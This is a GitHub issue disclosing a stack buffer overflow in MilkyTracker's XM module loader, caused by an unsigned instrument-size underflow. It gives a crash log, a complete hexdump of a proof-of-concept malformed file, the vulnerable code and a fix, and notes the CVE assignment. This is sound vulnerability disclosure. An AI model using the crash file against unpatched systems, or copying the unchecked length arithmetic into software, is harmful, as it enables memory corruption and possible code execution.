LoaderXM::load instrument size int underflow causes stack buffer overflow #275

Closed **eternaleclipse** opened this issue on Jun 18 · 2 comments

eternaleclipse commented on Jun 18 • edited

Description

There is a bug in the instrument parsing code in `LoaderXM::load` that can cause a stack buffer overflow when the program is supplied with a malformed XM module file. This can be abused by an attacker to corrupt the stack, control program execution flow and gain code execution.

Execution log

```
➜  ~/MilkyTracker/build/src/tracker git:(master) ✗ ./milkytracker crash.xm
Available Renderers: opengl opengles2 software
Vendor     : Mesa/X.org
Renderer   : llvmpipe (LLVM 12.0.0, 256 bits)
Version    : OpenGL ES 3.2 Mesa 21.0.3
SDL: Minimum window size set to 640x480.
SDL: Using accelerated renderer.
SDL: Renderer supports rendering to texture.
SDL: Using audio driver: pulseaudio
SDL: Buffer size = 2048 samples (requested 2048)
*** stack smashing detected ***: terminated

Crashed with signal 6
Please submit a bug report stating exactly what you were doing at the time of the crash, as well
as the above signal number. Also note if it is possible to reproduce this crash.

A backup has been saved to /home/user/BACKUP10.XM

[1]    3242 abort      ./milkytracker crash.xm
```

Reproduction

crash.xm contents (hexdump):

```
00000000: 4578 7465 6e64 6564 204d 6f64 756c 653a  Extended Module:
00000010: 2058 5858 5858 5858 5858 5858 5858 5858   XXXXXXXXXXXXXXX
00000020: 5858 5858 581a 5959 5959 5959 5959 5959  XXXXX.YYYYYYYYYY
00000030: 5959 5959 5959 5959 5959 0401 1401 0000  YYYYYYYYYY......
00000040: 1900 0000 0e00 0000 1800 0100 0f00 9800  ................
00000050: 1106 0716 0809 0a09 0a0b 1215 120c 0d0e  ................
00000060: 0e0e 0f08 0716 120c 1800 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000110: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000120: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000140: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000150: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000160: 0000 0000 0000 0000 0000 00ff ff41 4141  .............AAA
00000170: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000180: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000190: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000001a0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000001b0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000001c0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000001d0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000001e0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000001f0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000200: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000210: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000220: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000230: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000240: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000250: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000260: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000270: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000280: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000290: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000002a0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000002b0: 4141 4141 4141 4141 4141 4141 41         AAAAAAAAAAAAA
```

(You can use `xxd -r crash.hexdump > crash.xm` to get the binary file).

Analysis

In https://github.com/milkytracker/MilkyTracker/blob/master/src/milkyplay/LoaderXM.cpp#L481

```
if (instr[y].size < 29)
{
```

```
    mp_ubyte buffer[29];
    memset(buffer, 0, sizeof(buffer));
    f.read(buffer, 1, instr[y].size - 4);
    memcpy(instr[y].name, buffer, 22);
    instr[y].type = buffer[22];
    instr[y].samp = LittleEndian::GET_WORD(buffer + 23);
  }
```

During loading an instrument header, there is a check that `instr[y].size < 29`. Some lines later, `instr[y].size - 4` is used as length for `f.read()`. If `size`, an unsigned int directly controllable by the file format, is set to 0, it will underflow (and become max unsigned int - 3). Then, the program will read the remainder of the file file to `buffer` and corrupt the stack with arbitrary attacker-controlled data.

Fix

A quick and dirty fix would be to change the `if` condition to `instr[y].size - 4 < 29`.

sagamusix closed this as completed in `3a5474f` on Jun 26

---

sagamusix commented on Jun 26 — Collaborator

Fixed it in a slightly different way, thanks for the report!

1

eternaleclipse commented on Aug 4 — Author

This issue was assigned CVE-2022-34927.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants